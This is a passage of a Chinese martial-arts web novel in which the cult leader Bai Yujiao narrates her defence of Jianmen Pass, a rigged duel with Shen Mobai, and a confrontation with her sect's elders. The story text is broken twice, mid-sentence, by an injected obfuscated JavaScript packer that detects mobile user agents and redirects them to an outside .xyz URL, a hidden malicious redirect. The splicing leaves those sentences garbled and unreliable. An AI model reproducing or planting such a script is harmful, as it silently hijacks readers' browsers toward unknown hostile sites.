而让白玉蛟从一个遭人唾骂的魔头,变成一个真正为天下所畏惧,为刀笔吏所记录的枭雄,事实上,是在那一日,她以一人之手,将江湖上最精锐的力量一一挫败;以一己之刃,将全江湖之力挡在剑门关外半步不得入内。剑门关一役后,江湖上的精英之力,在一日之内折损过半,从此数年之内,再无力与魔教争胜。 ····· 我醒了之后,屏息凝神,听了听动静,顿时觉得不太妙。我这一昏似乎睡得有点太久,攻城战已经开始了。万一剑门关失守,那镜花宫就难以再抵抗,武林同盟攻入镜花宫可以说就是如履平地了。想到这里,我顾不得其他,足尖猛的一踏地面,整个人骤然腾空,以我自己都有点不敢想象的速度冲了出去。 我运了运气,分明感觉到自己的武功变强了……至于为什么变强,姑且可以解释为——经过了足足一个月的技能冷却,本座在月圆之日,终于能够放大招了!再怎么说,本座也是冲上满级的女人!满级的女人!你们伤不起! 我赶到剑门关的时候,尸体已经在台阶下堆了足足有两米高,而且大部分都是穿着黑衣的家伙——咱家自己人。 剑门关外头,武林同盟倒是好整以暇。有条不紊不停往剑门关内投石,放火箭。剑门关内一片惨状,到处是伤者和鲜血,还有来不及扑灭的火。 剑门关口,全靠两三个镜花宫的最精英在顶着。我看到抵挡在最外的人,不是别人,竟然是十四。他身旁便是顾染织,还有许久都不出山的凤栖梧的师傅,绝尘女。 我顿时悲从中来,这是败落到什么程度了啊!这和幕后老板都跑出来做跑堂伙计有什么区别?当真是逼到绝境,穷途末路! 当下,本座风一般卷入剑门关内,在任何人都没来得及看清的时候,一把抄起角落里的茅草叉,紧接着有一阵风卷了出去。 不是我看不起武林同盟,只是这帮孙子当真是太不上道了! 武当和少林的刀斧手,抄着家伙藏在剑门关的城墙两侧,正面是天机山庄献上的一排青铜铁甲,铁甲后面是青城派的弓弩手,弓弩手后面躲着的是唐门放毒的小瘪三们。最气人的是,各门各派的当家们全都躲在最远最安全的位置,隔岸观火,一边谈笑风生,简直就是在看一场好戏一般。 怪不得镜花宫伤亡如此惨重!镜花宫在我领导下一直采取悍匪打发,不防守不后退,因此镜花宫此时根本就连盾牌都没准备,站在门口就是肉盾,然而又一点退缩的余地都没有,一旦退缩就会被两侧的武当和少林的人抓住机会攻进去。 本座怒火中烧,想也没想,在漫天飞射的流矢之下,直接就空降在了天机山庄的铁甲上。我单膝点地,借身势之力,回身一枪,不,是一叉扫出去,混含着巨大内力的叉子尖,不偏不倚从那帮孙子脑袋上扫过。在空气中,劈出一道半月形的银光。一刹那,空气都被压缩了一下,猛然向后喷发。 一瞬间,这世间再无其他颜色,只剩下鲜血喷溅。 断颈中喷出的血,足足又三米高。 整个战场忽然变得非常安静,时间,在这一刻仿佛静止。 只在一瞬间,青城派的弓弩手十三人,全数,人头落地。 我冷冷扬起了嘴角,反手握着茅草差,在冰冷的铁架上站起来。 风中裹挟着浓重的血腥味,我慢腾腾抬手抹掉脸上的血,邪笑道,“对不住啊,青城派的姜掌门,你门派里这十几条人命,我今日便收下了。” 青城派的姜掌门上一刻还满面红光,沉浸在“屠灭魔教”的恭维里,这一刻脸色煞白如灰,手抖如晒,惨叫道,“白,白玉蛟!” 此言一出,在场武林同盟诸人无不变色。 我一扬嘴角,扬声道,“我白玉蛟,平日里最看不得别人耍阴险手段。游戏自有游戏的规则,既然是在我的地盘上,规矩就得我定。各位武林同道不远千里来此处,与我镜花宫‘切磋武艺’,那就请拿出点习武人的尊严来,这种弓箭,毒物,机关,不上道的东西……抱歉,我白玉蛟,拒不接受。”我说完,手中的茅草差底座,用力重重敲在了青铜甲胄的表面。下一秒,我人已经轻飘飘向后腾空,不偏不倚落在剑门关的关口。 而那一排青铜甲胄,一瞬间就化为了一地碎片。在内部操纵甲胄的人,被困在一片废墟之中,也不知伤势如何,只是发出凄厉的惨叫。我扛着茅草叉,站在自家门口,微微扬起下巴,对着脚底下这帮乌合之众,露出了一个极其挑衅的微笑。 几秒的寂静之后,整个战场忽然炸开了锅。 方才已经攻到剑门关城下的人,看到我像看到鬼一样,你推我挤都往后撤退。一瞬间,战场中央便空了下来,变成了一个半月形的包围圈。剑门关口只剩下一堆碎了的铁甲和一帮倒在血泊里无头的尸体。 “教主。”这边,十四第一个有反应。他迅速收了剑,单膝跪地。 他这一跪,其他人才反应过来,都一副见到了亲娘的表情,成片趴到了地上。有几个不淡定的,哆哆嗦嗦都哭起来了。 我翻了个白眼——真是死到临头才能想起本座,早干什么去了! 我眼角瞥见顾染织跪在十四边上,反握着剑的手指为血缩染透,鲜血在他指尖凝结,一滴滴落在地上。 我扫了一眼诸人,发现他们面色不对。于是我蹙眉问,“你们都受了箭伤?有毒?” 按照尊卑,理应是顾染织答我。他也如往常那般淡淡答道,“回禀教主,箭没毒,但是,水源里有毒。” 阴险下流的招数难道不是我魔教特权么?什么时候轮得到白道上的人来使了?我低低嘟囔了一句,一提气,人就没影了。 我再出现在原地时,手里多了一个人——唐门的门主,唐斩。唐斩被我点了穴道擒来,眼睛瞪地像灯笼似的,整个人已经呆掉了。 毕竟他唐斩也混了几十年的江湖,他平生也是头一次见识到:一个高手,竟能够闯入敌阵如入无人之境,在一群高手中间擒走一个大活人!这简直就是天方夜谭! 众人都愣愣看着我手里的唐斩,再慌忙回头去看唐斩方才站立的地方,一时间竟无人能够做出反应。 终于,武当的虚无老道长先反应过来,老头子气得吹胡子瞪眼睛,声音都在颤,“妖女!你要耍什么花样!速速放了唐门主!” 我嘲讽一笑,扬声,“虚无道长,你稍安勿躁。我请唐大门主来,不过是想请他帮个忙,把我这里水源的毒给解了。上天有好生之德,就算你们不把我们教众的性命当命看,但,你看这剑门关上,鸡鸭猪狗,花花草草还都指望着这水源活呢,你们这样丧尽天良谋害生灵,算的上是正道么?”我声音里混含这内力,震得人耳朵都嗡嗡地疼。 一番话说出来,对方果然没人出来反驳。 “那么,就有劳唐大门主了。”我说完,用力推了他一下,把他推给了顾染织,“染织,你带唐门主去解毒。 顾染织一只手按住唐斩,他回头退下的时候,目光在我身上停留了很久。 那一瞬间,我看到他溅满鲜血的脸上,闪露出一抹浓浓的疲惫。然而,他那双向来平静无波的眼睛里,仍旧是找不出什么情绪。 顾染织走后,我把注意力转向十四。他已经换了暗卫的服饰,脸上带着一张金色的半脸面具,并无人能识得他的真容。 “你受伤也颇重,下去休息吧。辛苦了。” 十四对我一拜,运起轻功,人消失在屋檐后。 最后,我对还跪了一地的教众们说,“行了,你们该回去疗伤的,休息的,解毒的,都各自去吧。别杵在这里了。”言下之意,此处我一人即可搞定。 把我手底下的人安排好,我终于能集中精神对付这帮“武林同袍”们了。 趁着我安抚属下,白道大侠们已经私底下开了好一会儿的小会了,八成是在讨论怎样能够保全面子并且全身而退。 哼,你杀了我那么多人,我能让你怎么来的怎么回去?我这儿又不是观光胜地!想来就来想走就走,哪里有那么便宜的事! 我带着一脸高深莫测的冷笑,叫人搬了张太师椅,大模大样坐在剑门关门口,膝盖上横放着我传说中的神器“茅草叉”,也就是江湖传说中的“定海三戟叉”,手里还捧着一杯金骏眉。 武林同盟嘀咕了一会儿,终于,少林的高僧出来说话了。“白施主。”老和尚合掌对我遥遥一拜。 我放下手里的茶盏,也象征性对他点了下头,“悟能大师。” “既然,白施主说,我们是切磋武艺,经过今日的切磋,你我双方算是打了个平手。而既然是切磋,也得讲一个适度,方才白施主一刀斩杀我青城派十三条人命,实乃过于激烈了……” 我听到这里不由仰天大笑三声,“大师此言差矣,青城派射死我们无数教众,唐门毒杀我们无数人命,不知道算不算激烈啊?” 大和尚远远看了我一眼,叹了口气。 谁都看得出来,想跟白玉蛟谈条件根本就是天方夜谭,这女人,绝不是心慈手软的主。 “你我双方皆是死伤惨重,上天有好生之德,再打下去也只是徒增伤亡。事已至此,这场切磋,不知可否到此为止。” 我好笑地看着他。徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349861|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 增伤亡?伤的亡的只怕只会是你们。我扬着眉梢,轻轻吐出了两个字,“不能。” 一阵阴风卷过,在场的诸位白道大侠女侠们,不由自主都打了个寒颤。 我喝完茶,润好了嗓子,于是站起身。 对方站在前排的人,都不由向后一退,马步一扎,一副全方位防卫的警惕模样。 我笑,“诸位大侠们远道而来,想与我镜花宫好好切磋一番,诸位的诚意,我已经深有感触。我呢,姗姗来迟实在是怠慢了诸位。错都在我,所以本座实在是过意不去,一定要弥补各位的遗憾。我看,不如这样吧,我今日在此设一擂台,在场的五十多个大小门派,每一个都上来与我对打一场。” 此言一出,所有人的脸都“唰”一下白了。和恶鬼罗刹对打?!这哪里是擂台啊!分明就是地狱! “万万不可!”我刚说完,那边武当的老头子就大叫起来,“不可再枉害人命了!” 我说你们就会装,杀我们的人的时候你怎么没跳出来叫? 什么正道,什么魔道?别人杀到了家门口,我们顶多算是求生自卫,怎么倒变成了草菅人命?反倒是你们几十派联军杀过来,抢我们的地,杀我们的人,赤裸裸的恃强凌弱。 对面响起一声声的附和,听得我越来越不舒爽。本座不悦,甩手用力拍了一下太师椅的把手。只听“哗——”得一声,顿时,整个椅子就被我拍成一地齑粉…… 我没地儿坐了,对方也安静下来了。 没地儿做了,我便要活动活动。 “那这样可好?我答应你们,擂台上我不伤人性命。我还答应你们,只要是同一门派,无论你们多少人杀上来都行,带什么武器都行。我宅心仁厚至此,诸位‘前辈’,‘大师’,‘大侠’可满意了?”我说完,又话锋一转,继续施压,“当然,若是不想打,也无妨。切磋嘛,也是个你情我愿的事。不愿意上擂台的,只要给我磕个响头认个错,我白玉蛟也是宽宏大量的人,我也就不计较了。只怕呀,以后这事儿若是传到江湖上……你们这些个名门正派,各个都是缩头乌龟,恐怕,在江湖上名声可不太好……” 白道中人总在乎个面子的问题,今日不想打,是不行了。武林同盟那边几个领导一合计,觉得现在除了硬着头皮上也没其他办法,于是只好同意。 最先上来的是“玉宇琼楼”。 作为镜花宫在江湖中的劲敌,“玉宇琼楼”来打这个头阵是没什么好商量的。玉宇琼楼来了二十个人,一上场,二十人以全方位包围之势,非常默契地将我围在中央。他们整齐地拔剑,我看得出来,这些人配合极其巧妙,定然是长年累月一同修炼一种杀伤力很大的剑阵。 我还没动,就突然看到乾坤两个方位的五个人,忽然踏着非常诡异的步伐迅速穿梭移动。剑阵最恼人的地方就是看得人眼晕,左晃出来一个人,右晃出来一个人,每个人脸又长得差不多,实在是令人眼花缭乱头晕脑胀。 正在我打算打起精神对付他们的时候,忽然间,听到不知道谁大吼了一句,“趁着‘玉宇琼楼’困住魔女!我们杀进剑门关去!” 紧接着我就看到有十几个人反应过来,冲向剑门关。 本座顿时脸色一沉。 我与你们面前做足了君子气度,你们却处处使阴招。你们这些不干光明磊落事的孙子,就是欠教训! 我正分心,眼前一把剑倏然闪过,想也没想,我轻轻一转身,躲过上下一同刺来的剑,劈手夺下迎面那人手里的剑,回身向后一掷。随即我一脚踩住削向我脚腕的剑,身体在空中翻转了一圈,另一只脚重重踢了那人手腕一脚,顿时,他手里的剑脱手也向外飞了出去。 接下来我如法炮制,一口气踢飞了十几把剑出去。几个转瞬的光景,站在擂台上的人,除了我之外,只剩四人。而百步之外,剑门关的城墙上,密密麻麻钉着十几具尸体,皆是刚才想趁我被围,闯入关内的蠢材。 “白施主!你不是说不伤人性命么!” 我从容避过剩下几个人垂死挣扎的攻击,平心静气地笑着回答,“我白玉蛟素来信守诺言,只是大师,我方才明明说的是,‘在擂台上不伤人性命’。若是出了擂台的区域,休怪这刀剑无眼。” 我表情那叫一个和善,笑得人畜无害,然而在场的人,已经觉得冷汗湿的手掌都握不住剑了。 最后,“玉宇琼楼”二十人都倒在了地上,握着手腕凄惨得呻吟不止。 我知道擂台外的人,没有几个能看清楚我的动作。于是,我好心解释,“诸位都知道,我镜花宫与‘玉宇琼楼’可谓是有势不两立之血海深仇,既然我今日答应不伤人性命,我白玉蛟说话,一言既出,绝不反悔。所以,这二十条狗命我就留下了,姑且就断了这二十人的经脉。当然这也不是什么大伤,修养个一年半载就能恢复,只不过呢……这辈子,怕是别想握剑了。” 我说完,非常阴险地笑了。 台下,骚乱更甚。我看到不少小门派的人,已经偷偷后退,准备趁乱溜走。大门派的人,脸色一瞬间就难看到了极点。上台,毫无胜算,只有手被废,从此结束武林生涯的结果。不上台,门派颜面扫地,说不定,这一辈只能在别人嘲笑和非难中度过。 不过,任何时候,总有些不正常的疯人。 玉宇琼楼那二十人被横七竖八抬下去之后,人群里突然冲出一个人高马大的男人,他凶悍冲到我面前,“唰”得,亮出一把剑来。 “白玉蛟!你可记得我?!” 我皱眉,指尖托着下巴,仔细打量一圈他的脸。 照理说……这么有个性的人,我若真见过应当有印象吧?于是,我诚实地摇了摇头,“阁下贵姓?” 男人突然捂着胸口路出一个痛心棘手的表情,“我就是——当年被你灭了门的岭南别苑的护院的小舅子!” 我表情呆了一下下。岭南别苑是……度假胜地?话说,什么护院什么小舅子本座怎么会记得,本座的公务可是很繁忙的! 在我无语之时,这位疯人,忧伤仰望苍天,咆哮道,“啊!可惜苍天弄人!当我的灵气变得无比强大的时候,我想保护的人都已经不在了!” 我默默无语。 喂喂……我说,为什么你想要保护妹夫啊,这似乎赤裸裸的断袖加□□啊哥们!踏上这条不归路会断子绝孙的呀,哥们!那个灵气又是什么东西?! 我默默想完以上这些话,非常淡定地一步走到他面前,一字一句道,“你丫早干什么去了,我看你还是趁早的去陪你妹妹妹夫吧……”说完,本座礼貌得一掌将其抽飞…… 这一段小插曲之后,我恢复了一下面部表情,很善解人意对诸位“武林同袍”们说,“刚才那是个意外事故,不能代表诸位大侠们的正常水准。就让我们共同将方才的事情忘记吧……那么,在‘玉宇琼楼’之后,不知道哪个门派的大侠,肯上来赐教?” 我边说,目光边和善从众人脸上扫过。所有人对上我的视线都迅速躲开。最后,我的视线在峨眉派的姑娘们身上停住了。 “哎呀,早就听闻许多关于峨眉派的传说,我对峨眉派的诸位女侠们仰慕已久,不知诸位是否肯赏白某一个面子,与我,切磋一番?” 我话音一落,就听到几声低低的“嘤嘤”啜泣声。 啧啧,姑娘们都被吓哭了。 我恶意地笑了笑,正想看这帮平时之中看不中用,不明白江湖险恶的丫头们要怎么应付,忽然,杜青娥向前迈了一步,竟然一人向我走过来。她走得不慢,脚步很小又很快。我看到她脸色惨白,双手死死抓着剑,一副紧张的都快要吐了的模样。 我看她那副样子,于是压低了声音调戏她,“喂,你这次怎么不直接摔倒,然后大叫是我暗器伤你?” 杜青娥脸色又青了几分,想来是没料到我是这么个记仇的人。 杜青娥深深吸了几口气,尽量稳住声音道,“峨眉派杜青娥,赐教了。”这话虽然理应是豪情万千的,可惜杜姑娘尾音里隐隐带着哭腔,怎么听都觉得好笑。 只要站到这台上来,定然是不能完好无损地下去。杜青娥这是想牺牲她自己一个,保护自己的那群师妹们? 我歪了歪头,颇为感兴趣地扬眉。这杜青娥,她现在是代行掌门之权,完全可以下令让另外一个人上台来当替罪羊。若是让我废了武功,她这辈子也别想出头,掌门什么的肯定也是没谱。我本来只当她是个一根筋的傻丫头,没想到,这傻丫头还懂得舍己为人,居然自己不知死活得上来了。真是不知道这家伙是缺心眼啊,还是缺心眼儿啊。 “杜女侠,你可知道,”我说话间,脚步猛然加速,一转身已经在她背后了,轻轻在她耳边说,“一直以来,我都很讨厌你。” 杜青娥猛的听到我在她耳边说话,吓得寒毛都竖起来了,想也不想,尖叫一声猛的一抽剑就往后划。我没想到她反应这么过激,距离她太近,一下被她把袖口划破了,露出一截小臂。 我抬手看了看自己的胳膊,哼笑了一声,“怎么,杜女侠这是想撕破本座的衣裳吗?大家都是女人,何必闹得这么难堪呢?” 我说着,已经一掌抓出去,猛的一扯,杜青娥左臂的袖子就被我给扯掉了。 杜青娥吓得一哆嗦,死命把掉在地上的袖子抓起来又套了回去。 我看她失魂落魄的样子,冷笑道,“你可否见过市井的女人打架?她们打架通常有三招:一,是扯衣服,二是揪头发,三是照脸挠。莫非杜女侠是想跟我试试这经典的打架招式?” 我说着,骤然闪到她身后,一把揪住了她的发髻。 杜青娥已经被吓得有点神志不清了,在我手底下像个小猫似的一边挣扎一边惨叫。 就在我准备把她从台上扔下去的时候,忽然我看到人群之中,忽然有一个身影腾空而起,最后悠悠然落在了擂台中央。 “白教主,您就别跟杜小姐玩笑了,您吓到她了。”男子温和地笑笑,眉梢眼角全然是云淡风轻的随性之感。 我闻言,一把推开了杜青娥。杜青娥顿时一头趴倒在地上,嘤嘤哭个不停。 我满眼趾高气扬地蔑视了对面的男人一眼,“你是什么人?” 男人回礼道,“在下沈墨白,区区无名小卒,不足挂齿。” 26. 决战光明顶 沈墨白突然杀出来让我始料不及。 我一下子冒出来一肚子疑问。这小子不是来看热闹的吗?怎么突然跳上来找死?! 莫非是认出我来了?别告诉我他真的是侠骨柔肠,看不得我涂炭生灵所以上来劝我浪子回头。 我摸不清他到底想干嘛,于是端着架子,演一出我根本不知道这小子是哪根葱的戏码。 “哼,”我特别轻蔑地扬眉一笑,“沈什么什么?我倒还真没听过江湖上还有你这么一号人物。莫非你像刚才那小子一样?也是来给你妹夫寻仇的?” 沈墨白一只手背在身后,另一只手空空如也,看样子是什么兵器也没拿就跳进来了。不过他一脸成竹在胸,站在擂台上,丝毫没有退避之意,反倒是气势十足,仿佛自信满满胜券在握。 “仇嘛,我们的确是有。”沈墨白低头微笑,“不知道白教主你可曾记得,十三年前,你杀尽洛阳沈家堡六十四口人?在下正是洛阳沈家堡的遗后。” 我露出一个恍然大悟的表情,随即指尖抵着下巴,用挑衅的口吻笑道,“哦?这么说你当真是来报仇的?不过天下人也都知道,我白玉蛟屠灭一门,必留活口。因为,我就是怕日子过得太无聊,才特意留着你们这群报仇的,供本座消遣。” 我目光扫了一圈台下的人,不少人都露出羞愤想扑上来咬死我的神情。 沈墨白倒是不为所动,懒懒“哦”了一声,揶揄我道,“白教主你还真是好雅兴。” “那好,废话不多说,你尽管亮招就是了。”我说完,宽袖一甩,抬平右掌,然后弯了弯手指。 下一瞬间,不光是我,擂台周遭所有的人都惊呆了。 只见,那个粗布衣衫打扮的青年,一个瞬间就移至白玉蛟的身侧,动作快得几乎让人看不清。他一出招就是武当绝学两仪掌。太极讲“两仪生四象,四象生八卦”,诀窍就在于一招之内变化无穷,以四两之力拨动千斤。然而最让人惊愕的,不仅是这低调的青年居然使出了武当绝学,而且,千钧一发之际,他竟然将两仪掌改为擒拿技,一招制住了白玉蛟的动作。 我看到沈墨白近身,本来就没打算躲开,因为我实在想问问这小子是打的什么算盘。只不过没想到,这小子还挺能得寸进尺的,竟然反扭住了我的右手。 我瞪了他一眼,刚想说话,却听到那死人渣在我耳边轻轻说了两个字,“小白。” 我立马难以掩饰地露出震惊的神色。 他是什么时候认出来的?! 难道早就知道了?! 他玩我?! 沈墨白似乎是看出来我在想什么,于是一只手卡住了我的脖子,“小白,你这个乌金锁可得藏好了,别让别人瞧见了。” 我暗暗心惊了一下,方才太匆忙,竟把这个细节给忘记了。 台下的人看到我和沈墨白突然僵持住不动了,以为我们在暗暗比拼内力,都瞪大了眼睛死死盯着我们。 我有点不爽,丢给他一记眼刀,压低声音问,“你想干嘛?你若是坏我好事,休怪我翻脸不认人。” 沈墨白定定看了我半晌,轻叹道,“小白,你见好就收。若是过分削弱了这些门派,恐怕江湖会大乱。” 他难得说了句严肃的话,内容倒也中肯。 其实削了那么多人之后,本座的气也消得差不多了,仔细想想,他说的也有道理。毕竟,镜花宫已经遭到重创,若是中原门派也削弱太多,恐怕江湖上一些其他势力会趁虚而入。比如那个觊觎着天下的镇西王,西域的鬼王宗,还有南疆的五毒教,他们可都不是什么善茬。 我心里有了决定,于是猛的一用力,一下把沈墨白给甩了出去。 这次我是真用了力气,结果力道大得都有点出乎我自己的意料。沈墨白整个人被甩飞出去,他勉强在空中调整姿势,落地时尽管手脚都用上了,还是向后滑了二十多米才停住,差一点一头栽进树丛里。 沈墨白勉强停住,他呼了口气,直起身来。 我看到他整只左手都被磨地血肉模糊。 众人这才从震惊中恢复。 这到底是发生什么事了?怎么突然就擒住了?怎么突然僵持了?怎么突然人就飞了?!这沈墨白究竟是何方神圣?! 沈墨白看着自己的手,只是无所谓地浅浅一笑,把血污在衣服上抹干净。 “白教主,不如,你我定下个约定。” 我双手抱臂,扬声,“有点意思,你说吧。” “你我一招定胜负。若是你赢,我这条命归你。我赢,你就终止这场擂台赛。” 我抚掌大笑,“哈哈哈。好呀。我白玉蛟有什么不敢赌的?不过呢,你这么个有趣的人我可舍不得杀,我可是对你中意地很呢。如是我赢了,你就乖乖入赘我们镜花宫,如何?”说完,我露出一个大色狼的表情,眯起眼睛把他从头到脚扫描了个遍。 沈墨白点头微笑,“就依教主所言。” 一招定胜负。 沈墨白这样做道理很简单。我们俩肯定不能真打,若是真打起来,纵使沈墨白武功再强,也不是我的对手。若是我故意放水,看台底下这些人毕竟都是练武几十年的家伙,怎么会看不出来名堂?倒不如一招定胜负,让他们看不出个所以然。 擂台之上,风卷过,卷起细沙迷蒙。浓重的血腥气弥漫在空气里,增添了几分肃杀之气。 沈墨白运气,他象牙色的衣摆微微飘动,似乎是被内力所鼓动。 下一瞬间,只见沈墨白倏然腾空,向我袭来! 千钧一发,我却想起第一次看到沈墨白拔剑的模样——若鹤唳九天,如虹如风、快而果决,转瞬之间毙敌灰飞烟灭。狠辣的招式,周身却散着不食人间烟火的气息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349862|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这样的速度之下,我仍旧能够清晰看到他那双清冷的眼睛。除去了玩世不恭之后,那双眼睛是这世上绝无仅有的通透与锋利,如若一把骤然出鞘的绝世宝剑。 君临天下。 我也只能找到这四个字来形容真正认真起来的他。 他的动作如蛟如电,一个转瞬,他强大的掌力已经铺天盖地向我袭来。 我提气,跃起,凌空与他对了一掌。 在掌风相触的一刹那,我估摸了一下他的内力,一瞬间卸去了一半的内力,然后…… 然后我们双双落地。 擂台下的人都死死瞪着眼睛,妄图从这两个人的身影之中分出胜负。 沈墨白落地倒是很稳。 我为了显示自己落于下风,特地在落地之后又做出仿佛被他内力所逼退了的假象,向后退了两步。紧接着隔了一瞬间,我想了想,又觉得貌似这效果不够逼真,于是又往后退了两步。 沈墨白在对面一直看着我,他当然一下就看明白我在干嘛。 结果,这小子竟然一个没忍住,“噗”地一下……笑了…… 顺便,还咳出了一大口鲜血。 我这厢看这丫的反应,也觉得很无语。 你丫就笑吧! 我遥遥瞪了他一眼,然后非常犀利地竖起中指对他晃了晃。 曾经我是向沈墨白解释过中指含义的,他自然明白我的意思。只是,我又没料到,这小子竟然厚颜无耻地抬起右手,对我比了一个“O”形! 你这是在暗示神马啊!你个人渣!小丫头片子,不不,我已经不是小丫头了,中年妇女你也不放过啊! 不过话说回来…… 其实我看到他嘴角挂着血丝,遥遥对我微笑着打手势的时候……那一瞬间,我是真心的心动了……毕竟本座我已经节欲多年了……欲求不满,略微有点欲求不满…… 我和沈墨白这两个暗号,后来为多方武林人士打探。 那个神秘的中指以及那个神秘的圈到底是神秘意思呢? 那个犯贱的沈墨白,被问到这个问题时,是这样淡定地回答的:“中指是一,一即‘略逊一筹’的意思,‘圈’呢,即‘承让承让’的意思。” 于是,从此以后,江湖上总是能看到各道各路英雄儿女,以严肃的表情,互相竖着中指…… 当然,这是后话了。 这一场,算是我和沈墨白打了个平手。 于是,我代表镜花宫,与武林同盟歃血为誓:自即日起,镜花宫与中原武林井水不犯河水。镜花宫不去随便搞屠杀,中原武林也不能踏进剑阁境内。 就这样,一场浩浩荡荡的“中原武林杀上剑门关”的大戏,就此落下帷幕。 不过一切是否真的就这样结束了?江湖是否就此再无如此惊涛骇浪? 这些,都还很难说。 27. 教主的办公时间 所谓的魔教总坛,并不当年娘亲藏书中描写的那般阴森无比,到处装饰着骷髅头,那骷髅头里还会喷火,大殿上有穿着暴露的妖女大跳艳舞。镜花宫的剑阁总坛,表面上看去与青城、武当、峨眉差别也不大,就是一座标准的园林式建筑群。唯一多了点的,大概就是地下建设了石牢、铁牢、水牢、兽牢等一应俱全的牢狱。而且,这些牢狱已经荒废已久。看不惯的人,本座自然不会留他在世上。 摆平了武林同盟,本座来不及歇口气,便得回去料理家务事。一屁股坐回我的那张象征着教主权力的王座,本座君临天下的感觉便一下子回归了四肢百骸。紫金的王座高高在上,几十级白玉台阶下面,左右整齐排列着两排看了十多年早就看腻歪了的老脸。 习惯真是种可怕的东西,仿佛这一年多的流落江湖都不过是场梦境。我如从前一样,懒洋洋手肘支撑在扶手上打呵欠,面无表情,满目厌倦地扫视底下的一干人等。 诸位长老们神态各异,不过,却万众一心般齐刷刷向我行注目礼。 我明白他们是都在等我开口,于是我支着下巴,道,“想必……各位大概都看出来了,本座在闭关期间,已经突破‘刹那芳华’第九重” 众人刚要高呼“恭喜教主”,就被我一抬手给打断了,“废话就不必了。在你们几个以为本座死了的这半年中,你们的种种劣迹,本座在暗处都看得一清二楚……” 我话还没说完,一停顿,吸口气的功夫,就被坐在第一位置的长老“西龙王”给抢了话。 老头子痛心疾首状仰天长啸,“教主!天地良心啊!我等都是看着教主一点点长大的,对教主绝无二心!一切都是那个下贱的男宠顾染织作恶!他趁教主闭关不出之时,欺上瞒下,企图篡权!” “是啊教主!教主的暗卫七人,全数都是为这贱人所害!铁证在此,由不得他抵赖!”他旁边的“风尘楼主”,一大把年纪不忘卖弄风骚,一边捋头发,一边帮腔。 我冷冷笑了一下。这俩老家伙前不久还掐地起劲,现在倒是联起手来,见风使舵的功夫还真是出神入化。 我假装毫不知情,“噢?真有此事?”说着,目光飘向从始至终一直跪在大殿中央的顾染织,我柔声道,“染织,我不在的期间,你似乎是干了不少好事啊?” 顾染织不知道已经在这里跪了多久了,我来的时候就看到他一个人跪在此处。他大概在剑门关一战之中,受伤不轻。整件素白的衣衫一半都被血污染脏,墨色的长发也是散乱地披散在肩上,额角的发丝被冷汗沾湿,衬得面色如纸一般的苍白。他垂在身侧的手指,一直在微微的颤抖。整个人似乎随时都会倒下,一副,我见犹怜的模样啊……忍不住让我想起,第一次见到他时,他落魄却倔强的模样。 顾染织一语不发跪着。 他跟随我多年,随侍我左右,我自然清楚他的品性。他看似如水一般的柔,其实却是如冰一般的硬。照他的性格,一句辩解一句求饶的话也不会说。 我也不打算把自己被他挑断手筋脚筋的丢人事儿抖出来,于是突然把脸一扭,硬生生撇开了话题,“啊对了,绝尘女,辈分上,我也该叫你一声小师傅。你已经隐退多年,今日我镜花宫有难,你能出山相助,实乃劳苦功高,本座当真很是感激。” 绝尘女端着茶杯浅浅抿着,眼角睨了我一眼,笑而不语。 因为她知道,我真正想说的话,在后头。 “至于风尘楼主和西龙王啊,”我拢了拢头发,无不讽刺笑道,“我怎么在剑门关没看到二位啊?我记得,我不是让十四来传令说,一定要守住剑门关么?二位,在那紧要关头,是跑哪儿去逍遥了啊?” “教主明鉴啊!”风尘楼主一下子就激动地站起来了,“老身正是为了镜花宫考虑,担心如若全部的战力都击中在剑门关,万一剑门关被攻破,局势会一发不可收拾,所以才率领我麾下的精锐,守住内殿!” “是啊,教主,”西龙王一副痛心疾首的表情,帮腔道,“老朽和风尘,在这种生死一线的时刻,怎敢玩忽职守呢?为了守住圣教的百年基业,我们这些老身子骨,可是万死不辞的。我等是怕顾染织这奸贼会耍出什么阴险手段,万一他设局在剑门关把我们一网打尽,向武林同盟投诚,我们会毫无还击之力。所以才……” 西龙王这次是打定了主意,什么错都往顾染织身上推,话题绕了一圈,还是又跑到了顾染织头上。 我也明白,顾染织这次恐怕是留不得了。 想到这里,心情一时有几分不爽。虽然顾染织以下犯上,但毕竟他在我身边十多年,我亲手把他栽培成现在这青年才俊风流入骨的样子,要我再亲下杀手,还真有点……舍不得。 于是,我弯起眼睛,人畜无害地一笑,柔声问,“十四啊,教规你背的最熟了,你告诉我,以下犯上要处以何种刑罚?” 十四就站在我一步之外垂帘阴影的后面。他多年来惯常暗中护我左右。闻言,十四声音冷冷响起来,简洁而绝情,“缳首。” 我脸上还是笑着,心里暗暗叹气:哎,连十四这么善良的孩子也不待见顾染织。也难怪十四这么恨他。顾染织狠起心来,手段真是出乎意料的狠辣。就是这家伙,把我的暗卫,一个接着一个害死,就连十四自己,也差点在他天罗地网一般的追杀之中丢了性命。 果然,是真的留不得他了呢…… 我这厢正纠结着,目光落在顾染织身上。他微微抬了点头,那双眼睛遥遥地直视向我。那目光,丝毫没有回避,丝毫没有恐惧,丝毫没有愧疚,丝毫没有悲哀。只是那样坦荡而执着地看着,仿佛,能一眼看到人的心底去。 下一瞬间,顾染织猛然从怀里抽出一把匕首,紧接着毫不犹豫地向着自己的脖颈刺去! 再下一瞬间,我已经一脚把那匕首给踢飞了。 一切都发生地太快,除了我之外,没有任何一个人来得及有任何反应。 